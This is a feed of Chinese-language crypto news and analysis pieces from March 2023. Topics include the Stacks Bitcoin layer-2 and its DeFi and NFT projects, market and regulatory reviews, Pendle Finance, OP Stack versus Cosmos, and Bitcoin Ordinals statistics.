去中心化身份验证：Stacks提供了一种名为Blockstack的身份验证系统，该系统使用区块链技术和公钥基础设施来实现用户的去中心化身份验证和管理，从而提高了用户隐私和安全性。 (4) 与比特币集成：Stacks与比特币集成，可以将比特币的安全性、可靠性和市场参与度扩展到Stacks生态系统中，从而实现更高的去中心化和安全性。 (5) 兼容现有Web技术：Stacks可以与现有Web技术进行兼容，例如使用JavaScript开发去中心化应用程序，从而使得开发者可以更容易地构建去中心化应用程序。 总之，Stacks在技术上的创新和优势使得其能够实现更高的去中心化、更高的安全性和可靠性，并且具有更好的可扩展性和可持续性，为其生态系统的发展提供了强大的支持。 Ordinals的出现引发了比特币应用领域的又一波热潮。作为比特币代表性L2项目，Stacks正处于受益于市场炒作的绝佳位置。根据Defi Llama的数据，最近30天（2月1日~3月2日）Stacks上的资金增加了254%，TVL从756万美元升至2680万美元。Stacks原生代币STX在过去短短的十多天里已经翻了两倍。尽管最近几天受大行情下跌的影响，STX的价格出现了回调，但投资者普遍看好STX的未来。 投资者看好STX主要是基于2024年比特币减半行情的预期。作为比特币二层扩容协议的代币，STX的价值与比特币密切相关。因此，尽管现在STX似乎已经耗尽了基于Ordinals利好所带来的增长趋势，但由于比特币未来减半的行情和Stacks良好的发展趋势，STX仍被视为一个值得长期投资的加密货币。 Ordinals掀起的比特币NFT热潮越来越大，今年或许将会成为比特币NFT的Summer。这对于Stacks等比特币扩容协议来说是一个绝佳的发展机遇。特别是Stacks，它不仅在技术上与比特币生态系统高度集成，而且其经济模型也更加持续和去中心化，使其比其他公链具备更大的发展空间。 除了利好的一面之外，Ordinal的爆火也引发了之前的一个问题：如果NFT导致网络拥塞，比特币极简主义意识形态将面临考验。比特币社区是否会允许这种投机活动或阻塞网络长期发展下去。 目前反对派的观点集中在NFT损害了比特币原始用例。有社区成员表示，“允许比特币用于NFT有点像允许医院用于狂欢派对”。支持者则认为比特币NFT的兴起在传统的价值存储之外找到了新的应用场景，为比特币提供了更多的玩法和金融用例。从数据上看，两方的观点都能得到验证。根据OKLink的数据显示，Ordinal的“铭文”正在消耗50%的比特币区块空间，区块空间利用率已经达到了100%。另一方面，从矿工群体来看，比特币NFT的出现也为他们带来了新的收益增长途径。在过去一周，借由Ordinal协议刻写“铭文”的费用已经累计达到了88万美元。 目前双方都无法说服彼此。这似乎又回到了Stacks最初所面临的比特币原教旨主义者与扩容派之间的论战。上次Stacks在双方之间找到了一个平衡点，这次关于比特币NFT所引发的论战，能否找到双方都能接受的平衡点，这对Stacks等比特币二层网络来说是一个严峻的挑战。 随着比特币NFT热潮的兴起，越来越多的投资者看好Stacks。作为比特币生态系统的重要组成部分，Stacks为用户提供更加安全、高效、可持续的智能合约服务，并具备与其他加密货币项目和传统金融市场进行协同创新的潜力。鉴于比特币庞大的用户群体，Stacks与比特币生态系统的紧密结合、更加可持续和去中心化的经济模型、更好的隐私保护以及更高的性能等，使其相较于其他公链具备更大的发展空间。在当前，值得关注的Stacks项目： Alex 近期，比特币通过Ordinals和Stacks经历了文化和技术的转型。在Stacks上，一个有望在未来脱颖而出的项目是ALEX。ALEX是专为比特币设计的DEX，它是第一个通过Stacks在比特币上提供一站式DeFi服务的平台。 ALEX协议的核心功能包括去中心化交易和去中心化借贷。用户可以在去中心化交易所上进行交易，并从流动性提供商那里获得流动性。借助基于抵押品的借贷，用户可以抵押数字资产来获得稳定币，以便在不需要出售资产的情况下进行资金管理。ALEX还发行了治理代币ALEX，持有ALEX代币的用户可以参与协议的治理过程，包括提出提案、投票和决策等。通过流动性挖矿机制，ALEX Labs激励用户提供流动性，参与到协议的生态中来，通过提供流动性获得ALEX代币作为奖励。 Gamma Gamma是一个基于Stacks生态系统的NFT市场，早期被称为STXNFT。该市场旨在成为Web3中心，吸引收藏家、创作者和投资者通过比特币生态系统来探索、交易和展示NFT。 最近，随着BTCNFT（Ordinals技术）的兴起，Stacks上的NFT活动也在逐渐增加。据DappRadar数据显示，Gamma在过去30天内的交易量增长超过了300%。这主要得益于Stacks生态系统提供的低成本和快速的NFT铸造速度。 Gamma是一个一流的NFT市场，用户可以在其中探索数十种不同系列，这些系列越来越受欢迎。此外，Gamma平台还为数字艺术家提供专业的、创作者优先的NFT Launchpad，帮助他们寻找部署低代码智能合约的简单方法。使用Gamma，即使是没有经验的艺术家也可以在几分钟内为他们的NFT创建智能合约功能，从而确保其NFT的所有权并保护他们的作品，就像版权一样。除此之外，Gamma还充当了一个社交平台，让创作者可以聚集在一起协作和分享想法。Gamma目前已经拥有许多流行的NFT集合，这些集合在Web3世界中建立了狂热的追随者。实际上，许多系列已经很抢手了，一些项目甚至推出了二次收藏，以降低进入其社区的门槛。 Arkadiko Arkadiko是一个建立在Stacks生态系统上的DeFi平台，旨在为用户提供各种金融产品和服务，包括借贷、交易、抵押、赚取收益等等。与其他DeFi平台不同的是，Arkadiko建立在Stacks生态系统上，采用Stacks独特的技术架构，这意味着它可以在比特币区块链上实现去中心化金融服务。 Arkadiko平台的主要应用是抵押资产铸造平台的USDA稳定币，模式与MakerDAO类似，用户在Arkadiko的Vault中存入STX，通过超额抵押的方式，铸造软锚定于美元的稳定币USDA，存入其中的STX还可以依靠Stacks的PoX机制获得收益。除此之外，用户还可以使用STX代币作为交易和支付费用的工具，并通过抵押STX代币来获得借款，Arkadiko的借贷利率较低，对用户而言非常有吸引力。另外，Arkadiko 还提供了流动性池、稳定币交易和收益农场等功能，让用户可以参与到更多的DeFi产品和服务中。同时，Arkadiko的开发团队致力于提供更多的创新性DeFi产品和服务，为用户提供更好的金融体验。 CityCoins CityCoins是一种加密货币，旨在为城市提供财务支持，促进城市经济的发展。该项目于2021年由Muneeb Ali和Ryan Shea共同创立，由Stacks生态系统提供支持。 CityCoins的主要功能是为城市提供融资，并帮助他们实现可持续的发展。持有CityCoins的人可以选择将它们投入到特定城市的基金中，从而为该城市提供资金支持。这些资金可以用于城市的各种项目，如基础设施建设、公共服务和社区发展等。持有CityCoins的人可以从基金中获得收益，并获得CityCoins的优惠。此外，CityCoins还可以用于购买特定城市的商品和服务。例如，旅游者可以使用CityCoins购买餐馆、酒店和旅游景点的门票，以及其他城市商品和服务。总的来说，CityCoins旨在为城市提供更多的经济支持，同时也为持有者带来经济回报。这种创新的加密货币模型为城市的可持续发展提供了一种新的融资机制，并为持有者提供了一种有趣的投资方式。 随着Ordinals的盛行，比特币NFT市场正在迅速发展。这既是Stacks的一次重要机遇，也是一次严峻的挑战。为了满足比特币NFT项目的高吞吐量需求，Stacks需要进一步发挥其在比特币二层扩展方案上的技术优势，推出更加可扩展的网络方案。同时，Stacks还需要进一步加强与比特币网络的集成，以确保其安全性，同时不影响比特币网络的稳定性。如果Stacks能够成功克服这些挑战，它将成为比特币领域最为成功的扩容方案之一，为比特币网络的未来发展奠定基础。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.09）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Uniswap V3核心代码版权商业保护将于4月1日到期
    PANews 3月9日消息，Uniswap V3在2021年5月5日上线以太坊主网前为其核心代码申请了为期 2 年的版权商业保护，该保护在两年内限制 Uniswap V3 核心代码的不当商业使用，该保护期将于4月1日正式结束。 此前Uniswap表示，可以通过协议治理更改其版权保护限制，可以通过治理提前从 Business Source License 1.1转为 GPL 许可。  ( 4 min )
    2 月加密市场回顾：BTC 链上活动乏力，宏观上行压力增加
    2月区块链行业的宏观环境和监管环境均出现转折。 Bing Ventures研究团队将在本文回顾行业要闻，并重点分析以下内容：1）美国证券交易委员会的行动给区块链行业带来的冲击。2）价格的飙涨是否为链上活动注入活力。3）市场参与者的财务状况与行为变化。4）通胀与宏观环境的变化。 在刚刚过去的2月，区块链行业的监管环境出现了巨大转折点。在2月9日，美国证券交易委员会宣布，加密交易所Kraken将“立即”结束向美国客户提供的加密质押服务，并将向SEC支付3000万美元罚款，以解决其提供未注册证券的指控。并在随后的周一，美国证券交易委员会向Paxos发出韦尔斯通知，要求其立刻停止铸造BUSD。 与之相反，亚太市场则是积极拥抱区块链行业。在2月20日，香港证券及期货事务监察委员就适用于虚拟资产交易平台营运者的建议规定展开咨询，根据将于6月1日生效的新发牌制度，所有在香港经营业务或向香港投资者积极进行推广的中心虚拟资产交易平台，需获证监会发牌。为符合新规要求，拟订立为期12个月的过渡期。同时，香港财政司长陈茂波在22日发表 2023 年财政预算演说中，提到香港政府承诺拨款 5000 万港元，以加快香港 Web3 生态发展。这些利好区块链行业政策，刺激了以Conflux为代表的中国叙事代币出现爆炸性的市值增长。 与此同时，整个宏观经济环境向好的趋势似乎也出现了转折点。2月3日，美国劳工统计局公布的数据显示，1月非农新增就业人数51.7万人，远超预期，预期为18.5万人。2月14日，美国劳工统计局公布的数据显示，美国1月CPI同比上升6.4%，为2022年年中达到峰值以来连续第七个月放缓，预期6.2%，前值6.5%。强劲的就业环境与回升的通胀趋势，给市场带来了对美联储将继续加息的担忧。 上述事件对区块链行业产生多种影响，主要体现在六个方面。 在美国证券交易委员会提出Kraken提供未注册证券指控并罚款3000万美元后，以太坊交易所存量出现了单日53.6万枚的巨幅净流出，其中Coinbase流出41万枚，占总流出的76%。 同时在二月，Coinbase与Kraken等新增以太坊质押数量几乎为零，而同期整个新增以太坊质押数量为40.3万枚。这些数据表明投资者对美国证券交易委员会的措施产生了对在岸中心化交易所的监管环境恶化的担忧，并且在监管环境出现重大好转前，不会使用在岸中心化交易所的质押服务。 2月13日，Paxos收到美国证券交易委员的韦尔斯通知后至2月24日，市场占用率前三的稳定币（USDT/USDC/BUSD)的总供应量从1255.1亿枚下降至1247亿枚。其中，BUSD的总供应量从160.5亿枚下降至120.1亿枚，销毁40.4亿枚；USDT总供应量从684.1亿枚上升至705.8亿枚，新铸造21.7亿枚；USDC总供应量从410.5亿枚上升至421.1亿枚，新铸造11.1亿枚。 从上述数据中我们可以看到美国证券交易委员的行动并未对市场占用率前三的稳定币总供应量产生重大影响（仅下降了0.64%）。但是，BUSD的总供应量下降了25.7%，并且销毁的流动性选择分流至USDT与USDC。由于Paxos在未来不能铸造新的BUSD，可以预见BUSD的市占率将不断下降，同时USDT与USDC的市占率将不断升高。 由于整个稳定币的总供应量并未发生较大变化，表明美国证券交易委员的行动没有对稳定币市场信心产生严重的冲击，投资者依然选择使用稳定币做为进入Web3.0的重要方式。 观察新地址的数量可以反映加密货币市场的增长速度。如果新地址的数量增加，这可能意味着更多的人正在加入该市场，使市场更加活跃。同时观察活跃地址的数量可以反映当前市场的活跃程度。 自去年11月FTX暴雷事件以来，新地址的月移动平均线已经超过了年移动平均线，表明新地址数量出现了上升的趋势。然而，年移动平均线仍处于横盘阶段，表明这种趋势仍处于起步阶段。 然而，活跃地址数量仍然处于横盘的状态。 我们同时也观察到非零地址在活跃的地址中的占比仍然处在2%-2.2%的区间。这些数据表明近期的价格飙升为比特币网络注入了一定活力，但宏观仍然处于横盘趋势。 净变现利润/损失指标是指通过扣除数字货币卖出时的手续费和买入时的手续费，计算出数字货币交易的实际收益或损失。随着比特币价格重返2.2万-2.5万美元区域，我们看到整个网络的净变现利润/损失指标从2022年末的亏损常态逐渐转变为小幅盈利。 目前，比特币实现价格、旧供应（币龄大于6个月）价格与新供应（币年小于6个月）价格分别为$19,800、$20,800与$23,400。 比特币价格在2月下旬数次挑战$25,000关键阻力位，但均已失败而告终。“积累趋势得分”用于衡量比特币的积累和分配情况，可以用来检查投资者此时的行为，它反映了过去30天内活跃投资者的汇总余额变化。较大的实体（如巨鲸和机构规模的钱包）被赋予较高的权重，1的值（紫色的颜色）表明，广泛的投资者正在增加有意义的比特币数量, 增加他们的链上余额。 积累趋势得分从11月中的净积累后逐渐转变为净分配，表明市场上的广泛投资者正在减少他们的链上余额。 我们可以进一步分析积累趋势得分的组成部分，并对不同钱包余额群体进行细化分析。我们观察到在二月下旬，所有群组的投资者的行为都发生了明显变化，除持有1K-10K外的所有群组都从中立转变为剧烈卖出。 随着比特币价格从$16,000上涨至$25,000附近，投资者似乎已经忘记整个宏观环境仍然处于严重的膨胀中。2月14日，根据美国劳工统计局公布的数据显示，美国1月CPI同比录6.4%，预期6.2%，前值6.5%；环比录0.5%，预期0.5%，前值0.1%。核心CPI同比录5.6%，预期5.5%，前值5.7%；环比录0.4%，预期0.4%，前值0.4%。 值得注意的是，2月10日，美国劳工统计局 更新了用于计算消费者价格指数 (CPI) 的支出权重，以反映 2021年的消费者支出情况。本次权重调整最明显的变化就是房屋权重上调幅度最大，从43.008%上调至44.383%，食品权重从13.867%下调至13.531%，而权重最大下调幅度是交通项目。交通权重从17.737%下调至16.774%。这些调整或将给1月核心通胀带来上行压力，不过有助于压低其后的通胀率。 本次通胀数据，从同比趋势上看，整体通胀下行速度放缓。细分来看，服务类通胀的上涨成了CPI上涨的重要原因，服务类通胀同比增速持续攀升至7.2%，其中住房项同比攀升至7.9%。二手车带来的同比通缩效应持续，商品类通胀仍在下行。从环比上看，由于近期能源价格的反弹导致能源类通胀环比上行，是整体通胀环比增长的一个重要因素。 2月22日，美联储发布了1月31日至2月1日的联邦公开市场委员会(FOMC)货币政策会议纪要。根据会议纪要公布的内容，委员会成员指出，虽然有迹象表明通胀正在下降，但不足以抵消进一步加息的必要性，目前通胀率“仍远高于”美联储2%的目标。随之而来的是“劳动力市场仍然非常紧张，导致工资和价格持续面临上行压力。”因此，美联储决定把联邦基金利率目标区间上调25个基点，这是自2022年3月以来的最小加息幅度。据会议纪要显示，几乎所有与会者都支持这一决定，并同意在通胀得到控制之前继续加息步伐。 根据CME FedWatch Tool 数据显示，市场目前认为美联储有56.9%的概率将在3月，5月与6月分别加息25个基点。而一个月前，市场认为这种情况的发生概率为3.7%。 美国证券交易委员会针对Kraken与Paxos的行动，使以太坊投资者选择离开在岸中心化交易所并停止使用中心化交易所质押服务。BUSD的总供应量出现大幅下降，但稳定币整体的总供应量并未出现重大变化，表明美国监管环境的恶化所产生的负面影响处于可控范围之内。 比特币价格重返2.2万-2.5万美元区域，市场上的广泛投资者的持仓都处于浮盈状态并显著的改善了财务压力，但比特币网络的链上活动仍然缺乏活力。随着比特币价格不断挑战2.5万美元关键阻力位，投资者的行为出现了明显变化，市场上的广泛投资者正在减少他们的链上余额。通胀的反弹以及美联储对控制通胀继续持鹰派的立场，市场认为美联储将继续加息，从而增加包括比特币在内的风险资产的上行压力。  ( 4 min )
    蹭V神热度？麻吉大哥也来凑热闹，Gitcoin Presents纪念NFT突然爆红
    3月9日，去中心化捐赠平台Gitcoin推出的Gitcoin Presents纪念系列NFT在停止铸造后引发市场抢购，连“麻吉大哥”黄立成也来疯狂扫货，火爆程度可见一斑。 Gitcoin Presents NFT是于3月1日通过采用Open Edition（开放版权）模式以0.05 ETH的价格开始铸造，即用户的铸造数量不受限制。截至3月9日凌晨，该NFT以9221个NFT的数量结束铸造，每个NFT附有2篇来自Gitcoin联合创始人Kevin Owocki和Scott Moore关于二次方融资的文章。 其中，9209个NFT为普通版本，另外12个则为以太坊创始人Vitalik Buterin（V神）本人签名的限量版，通过荷兰拍的形式出售。此次NFT发售共筹集到390 ETH（超78万美元）。其中，70%将分配至Gitcoin，20%归Plurality Institute所有，剩余10%则分给Metalabel。 Gitcoin Presents系列NFT是以专辑封面的形式呈现，是由Gitcoin和Metalabel合作发行，旨在纪念V神对创新Web3募资、二次方融资概念提出的贡献。而Gitcoin是采用二次方融资机制的代表性平台之一，迄今为止已为以太坊生态的开源Web3工具和项目资助了超过7000万美元，Metalabel则是由知名众筹网站Kickstarter联合创始人Yancey Strickler、电商网站Etsy创始人Rob Kalin等创立，旨在帮助创作者利用Web3技术将作品代币化。 早在2018年，V神与哈佛学者Zoe Hitzig、微软的E.Glen Weyl发表的论文“自由激进主义：社区中立社会的正式规则”，该论文讨论了如何为去中心化生态系统所需的公共产品提供加密资金，但可避免产生“搭便车”行为的新融资方式。 虽然V神并未亲自下场宣传，但Gitcoin Presents系列NFT在二级市场引发抢购热潮。OpenSea数据显示，截至发文，Gitcoin Presents的销售额超6900 ETH，持币地址数近3600个，其中巨鲸和蓝筹持有者数量占比达10%。而地板价也一度接近0.6 ETH，虽然目前已经有所回落，但仍较发行价翻了超8.6倍。而Gitcoin Presents的限量签名版本NFT更是在OpenSea上以52 ETH的高价售出，足以可见V神的影响力。 值得注意的是，除了“oxb6c”开头地址曾铸造超总供应量约8%的NFT外，台湾知名艺人“麻吉大哥”黄立成也曾在几小时内购买逾800个Gitcoin Presents，并随即又在NFT交易平台Blur上进行出售，或与其刷Blur空投积分有着重要关系。 数据来源：Nansen “这为公共产品资金筹集了超过70万美元的资金，并让人们对使用记录格式的伟大创意作品有了新发现，这对创作者来说是一种令人兴奋的发布和资助作品的新方式。”Metalabel在接受Decrypt采访时如此表示。  ( 4 min )
    浅析Pendle Finance：3个月3倍，如何讲述LSD叙事？
    作者：Trissy，DeFi 研究员 编译：Leo，BlockBeats Pendle 是以太坊上一种无许可的 DeFi 交易收益协议，用户可以通过它执行各种收益管理策略，目前 Pendle 已成为收益市场中表现最好的协议之一，可能会将 DeFi 提升到一个新的水平。DeFi 研究员 Trissy 撰写了关于「为什么 Pendle 是我下一次牛市之前的最大投资之一」文章，BlockBeats 整理编译如下： Pendle 的目标是通过简单地增加用户在牛市中的收益敞口和对冲熊市中的收益下降，为其用户提供最大的收益。用户可以通过其双重收益 token 执行各种收益策略。在 Tradfi 中，机构参与者依靠各种对冲来保护他们的头寸，例如未来收益合约。 Pendle 将收益资产 wrap 化为 SY（standardized yield token：标准化收益 token），SY 又被分为两种：PT（principal token：本金 token）和 YT（yield token：收益 token）。 例如： 1 GLP（0.92 美元）= 1 PT GLP（0.78 美元) + 1 YT GLP（0.14 美元） 此功能也为 DeFi 解锁了几种新策略。比如，你可以以 0.78 美元（16.6% 的折扣）购买 1 个 PT GLP，并在到期日时获得 1 个 GLP。1 YT GLP 允许你获得 1 GLP 的收益（收取收益直至到期，可随时取出）。 协议简易性是经常被忽视的东西，DeFi 是一个复杂的生态，由于其技术性质导致进入的门槛很高。我最喜欢 Pendle 的地方是我能在短短一个小时内阅读其白皮书并了解其产品。 一种 token 不会进入我的投资组合，除非它有很强的激励措施。Pendle 从 YT（收益 token）产生的所有收益中收取 3% 的费用。目前，这笔费用会 100% 分配给 vePENDLE 持有者，团队不收取任何费用。通过持有 vePENDLE 赋能 Pendle 上的激励机制，vePENDLE 持有者投票并将奖励流向不同的池，有效地激励他们投票的池中流动性。 如果你在持有 vePENDLE 时在并向池中提供流动性，你所有 LP 的 PENDLE 激励和奖励也将根据你持有 vePENDLE 的价值进一步提升，最高可达 250%。 这就产生了收益的飞轮效应，你投入的 vePENDLE 越多，获得的激励就越多。随着 token 的锁定，更多的供应从市场上消失，并且 LP 提升高达 250%。 用户可以在 Pendle 上践行几种策略： -购买 PT（1Hour）GLP——在到期前获得固定收益，你可以看到 GLP 在 GMX 上的 APR 是 20%（基础 APY），但 Pendle 可以为用户提供固定利率的隐含 APY 是 16.9%。这可能不是一个好时机，因为你会得到比实际更低的利率。 购买 PT GLP（1Day）并获得 27.5% 的固定利率，这是一笔不错的交易（27.5% 固定利率 vs 20.9% 基础利率）。 -购买 YT——收益 token 的做多利率。 该情况是做多 YT GLP。我相信 GLP 的收益率 (APY) 在一段时间内将保持在 20% 左右，但隐含 APY 为 16.6%，这是 Pendle 提供的固定 APY。我认为 Pendle 的隐含收益率仍然存在差距：16.6% 与 20% 左右。因此，购买 YT GLP 并期望收益率上升可能是一个不错的选择。 我的预测是 LSD 将开始主宰 ETH 质押生态。我的推理归结为两个选项： -LSD 的效用系数很高，因为它们可以用作存款抵押品来赚取收益，也可以通过借入/借出协议借出来赚取附加利息； -用户的流动性需求；上海升级后，还有 27 小时的等待时间。这造成资产流动性不足，投资者将更喜欢通过 LSD 即时解锁的扩展解决方案。 这对 Pendle 意味着什么？在 LSD 占主导地位的情况下，大多数持有者都希望提高他们的 ETH 收益率，这是 Pendle 的机会，用户在解决了质押和流动性的同时，还可以获得两位数的 APY。 Pendle 的公告显示，Pendle 目前集成的项目并不少，比如：GMX、LayerZero Labs、Balancer、Arua Finance、Rocket Pool。 业务发展对于提高 Pendle 的知名度和流动性至关重要。以他们当前的估值水平，可以做到这个水平已经很好。此外，Pendle 有着非常好的路线图，他们即将在 Arbitrum 上列出的池子会吸引更多用户。 达成一个宏伟目标之前，需要考虑当前的流通市值和稀释市值。例如，如果 Pendle 的流通市值约为 2000 万美元，则完全稀释市值会将约为 20 亿美元。 考虑到解锁可能需要的时间，这最终可能会扩展到额外 20% 的 token 解锁到总供应，LSD 质押增压可能会催化 Pendle 到更高的位置。 以上一次牛市前的 DeFi 协议为例，最关键的问题无非三点： Pendle 在这三点上都做的不错，希望你能明白为什么我对这个项目持乐观态度。最后，Pendle 拥有强大的营销手段，几位顶级的 DeFi 投资者和研究人员都非常看好。  ( 5 min )
    OpenSea、ConsenSys等加密公司的股权正在二级市场上大幅折价出售
    PANews 3月9日消息，据The Block报道，二级市场交易平台 Birel 首席执行官 Richard Freemanson 证实，许多加密初创公司的股权目前在 Birel.io 上以相当大的折扣出售。这些初创公司包括 Alchemy、Blockchain.com、Chainalysis、Kraken、ConsenSys、Blockdaemon、CoinDCX 和 OpenSea。上述公司发售的大宗股权规模从 300 万美元到 5000 万美元不等，而且折扣差别很大。 最引人注目的是 Blockchain.com 和 ConsenSys，他们的股权分别以较最新一轮融资折让 74% 和 71% 的价格发售。Chainalysis 股权以 61% 的折扣出售，OpenSea 股权以 51% 的折扣出售。Alchemy、Blockdaemon 和 Kraken 的股权分别折价 31%、30% 和 9%。但也有部分公司如比特币基础设施公司 Bitfury 的股权以小幅溢价出售。 Chainalysis、OpenSea 和 Blockdaemon 的发言人拒绝置评。提到的其他公司没有立即回应置评请求。  ( 4 min )
    RaaS赛道兴起：OP Stack正面“硬刚”Cosmos，会成为下一个颠覆者吗？
    原文：《当RaaS服务兴起：OP Stack能否威胁到Cosmos护城河？》 当 OP Stack 这个方案被提出时，市场对于这项技术反响平平。归根结底，一来是当时正处于 FTX 崩溃的余波中，市场信心不足；二则是在 Rollup 竞争中，Arbitrum 始终占据着上风，OP Stack 的推出更像是 Optimism 的自救方案，或者用更直接的话语来讲，OP Stack 更像是 Optimism PUA 市场的手段。 这一观感一直维持到 2 月 23 日 Coinbase 宣布即将推出建立在 OP Stack 上的 Layer2 网络 Base 之时。 空中楼阁好像有了地基，也有了更多的可能。 OP Stack 是对模块化区块链的一次探索。 简单来讲，我们可以粗浅地将区块链分为共识层、结算层和执行层。而共识层又分为数据可用性（DA）层和推导（Derivation）层。开发者在构建区块链时，需要经历代码从 0 到 1 的构建过程。而 OP Stack 的功能便是将这些功能层解构和重新组合，并用 API 软件堆栈的形式为其他开发者提供服务。也就是说，开发者在享受 OP Stack 现成的代码库的同时，还能拥有区块链在各层中的侧重灵活性，比如将本来负责 DA 层的以太坊替换为 Celestia。 出于更高的灵活性，基于 OP Stack 构建的各类 Layer2 也将拥有其独特的个性。比如，Coinbase 的 Layer2 Base 可能会采取交易监控和反洗钱措施——这一措施将通过更加中心化的排序器实现。或许，未来链上行为还将受到美国政府的监管。 而在 Optimism Bedrock 升级后，还将引入一个「Superchain」的概念。Superchain 的引入旨在解决链间互操作的问题，就像 Cosmos 那样。Superchain 很有可能会充当一个 Hub 的角色，Layer2 与 Layer2 的链间消息传递将通过这个中枢完成传递，不过它的安全性是通过以太坊实现的。也就是，一座桥上的无限链。 另外，值得一提的事，OP Stack 的 Superchain 将采用一个去中心化排序器来解决链间 MEV 的事项。 从整体架构思路来看，OP Stack 与 Cosmos SDK 类似，都是通过一个中枢的形式，进行多链扩展。但是 OP Stack 的优势在于更高的可定制化和无需吸引验证者质押来维护区块链的共识，这也是 Base 无需新发代币的原因。而 Cosmos 子链需要引入新的验证者来维护区块链的共识——尽管 Cosmos 正在试图引入 Interchain Security 链间安全来解决这个问题。 从理论来看，Cosmos 的市场份额将受到 OP Stack 的挑战，事实会是如此吗？ Cosmos 拥有先发优势，此前已经积累了一定数量的开发者。且一些类似 dYdX 这样的超级应用已经开始着手迁移至 Cosmos 生态。据 tokenterminal 数据统计，Cosmos 的每日活跃开发者在过去的一年中仍然保持着稳定的数量。   而 OP Stack 生态刚刚开始拓展，Base 是 OP Stack 的第一条链。 不过，虽然 OP Stack 才刚刚开始发展，但其背后的 EVM 开发者生态是不容忽视的。OP Stack 的优势在于 EVM 的市场份额占比和市场接受度，而庞大的市场份额和市场接受度意味着 EVM 拥有着丰富的开发者生态。基于 OP Stack 构建的 Layer2 和其他 Layer2 一样，诞生于以太坊，依赖于以太坊，EVM 开发者们也就更愿意采用更便捷和更灵活的 OP Stack 框架。 就像深潮 TechFlow 在 2021 年 7 月的那篇文章中所提到的，「以太坊拥有其他公链无法大肆宣扬的东西——对去中心化意识形态的坚定承诺。真正的信仰者不会为了追求快速、低成本，而在去中心化方面进行退让和容忍，这种对意识形态的毫不妥协的信念正在推动大量的创新。」相较于其他 Layer1，能够建设 Layer2，尤其以一种更加便捷的方式建设 Layer2，是对于拥有去中心化信仰的开发者的更好选择。 Cosmos 正在致力于解决处于其生态的问题，比如推出 Interchain Security（链间安全）、Interchain Scheduler（链间调度器）、Interchain Allocator（链间分配器）等功能。这也促使 Cosmos 社区对 OP Stack 解决方案产生了不满——OP Stack 似乎更像一个摘桃的人，它吸取了 Cosmos 在发展过程中所遇到的问题，并推出了一个更加完善的解决方案。 本质上，OP Stack 还是 Rollup 的扩展。这意味着，基于 OP Stack 建立的区块链依然是 Layer2——Layer2 在链下执行计算和存储，将大量交易压缩为单一交易，然后记录在底层公链即以太坊上。最终安全性由以太坊负责。这样构建的 Layer2 将失去一些自主性，并削弱其代币发行的需求，就像 Base 不会发行代币那样。$OP 也无法从 OP Stack 的增长中获得价值增长，$ETH 将会成为受益者。 而 Cosmos 的 Appchains-as-a-Service 服务本质上是允许开发者构建一个真正意义上的 Layer1。尽管 OP Stack 将区块链的构建流程做了简化，但其构建思路依旧围绕以太坊展开，后续也将会受到以太坊进一步升级的影响。Cosmos SDK 则允许开发者重写这些默认架构，设计出具备自定义共识机制、代币标准和智能合约平台的区块链。由 Cosmos SDK 构建的 Layer1 拥有更高的自主性。 不过，本质而言，OP Stack 的推出象征着以太坊生态和 Cosmos 生态在未来模块化公链方向的竞争。对 OP Stack Layer2 更高的期待在于以太坊后续推出 EIP-4844、Proto-Danksharding 和 Danksharding 中获得更高的可扩展性和更低的费用。 而 OP Stack 的推出和 Cosmos 的发展也印证了“Rollup as a Service”和“Appchains-as-a-Service”的可行性。同时我们也不能忽视这个赛道其他的挑战者，比如 Avalanche，Avalanche 的子网服务同样拥有更高的可定制性。再比如 Celestia，Celestia 通过推出模块化区块链代码库 Rollkit 来实现区块链的快速部署。而 Cosmos 生态子链也可以使用 Celestia 作为共识层。这意味着，除了 OP Stack，Celestia 也将会成为 Cosmos 的竞争对手之一。  ( 5 min )
    数说比特币NFT：累计总数突破32万个，交易市场独立地址总数突破1万个
    NFT“梦工厂”Yuga Labs于3月7日宣布，基于比特币Ordinals协议的NFT系列TwelveFold结束拍卖，总成交额高达735.71BTC，共有288名投标人中标，中标出价均在2 BTC以上，最高出价为7.1159 BTC。 比特币链上NFT虽然刚刚兴起一个多月，但被视为一个巨大的市场。研究机构GalaxyDigital认为，以基准模型预测，比特币NFT的市场规模（所有项目地板价*发行数量的和）将在2年内（至2025年）达到45亿美元，交易量达到16亿美元。并且，比特币NFT的发展还有可能推动比特币生态的发展，提高网络的使用率，并有利于提高矿工的收益。 如果以Ordinals协议0.4.0版本（该版本正式将NFT引入比特币网络）的发布日期2023年1月21日为起始观察时间点的话，至今已有约1个半月时间，在这段早期发展阶段内，比特币OrdinalsNFT的现状是怎样的？ PAData综合了比特币的链上数据（1月21日至3月7日）和OrdinalsNFT的交易数据对当前的NFT类型、交易规模、用户规模、矿业变化和网络基本面进行分析，结果显示： 1）比特币上已累计生成了32.88万个OrdinalsNFT，日均新增7148个。其中图片20.88万个，文本11.74万个。近期文本NFT增长最明显。 2）ordinals.market、ORDSWAP、OrdinalsWallet和OpenOrdex四大市场在2月15日至3月7日期间的累计交易总额约为699万美元，当前总独立地址数突破1万个。 3）OrdinalsNFT是提高矿工手续费收入的主要原因，未来可能成为主要收入来源。NFT产生的手续费从单日0.00066 BTC增长至0.28428BTC，涨幅约为43257.73%，相当于翻了433倍。在2月中旬，比特币NFT手续费占比一度突破了21%，连续多日高于15%。 4）统计期内，平均每1万个比特币NFT手续费占矿工总手续费收入的12.47%。比特币NFT数量的增长将会较明显的影响矿工收入。 5）统计期内，比特币平均区块重量占总容量的平均比重约为87.78%。当前比特币OrdinalsNFT活动没有对其他交易活动形成挤压，只是消耗了本来就空余的空间。这也是目前平均每字节交易费用没有增长的原因。 在1月21日至3月7日内，比特币上已累计生成了32.88万个OrdinalsNFT，日均新增7148个。从每日生成的数量来看，比特币OrdinalsNFT经历了两个高峰。第一个高峰在2月中旬，其中2月9日、14日和15日的日生成数量都超过了1.5万个，这个高峰或主要受到Bitcoin Punks发行的影响。第二个高峰在3月初，其中2月28日至3月5日每天的日生成数量都超过了1.5万个，最高的3月1日生成了2.48万个，这个高峰或主要受到Yuga Labs发行比特币NFT的消息影响。 总体来看，比特币OrdinalsNFT的发展受到以太坊知名NFT项目或项目方“迁徙”的影响较大，日生成量的波动比较大，符合市场早期的基本特征。 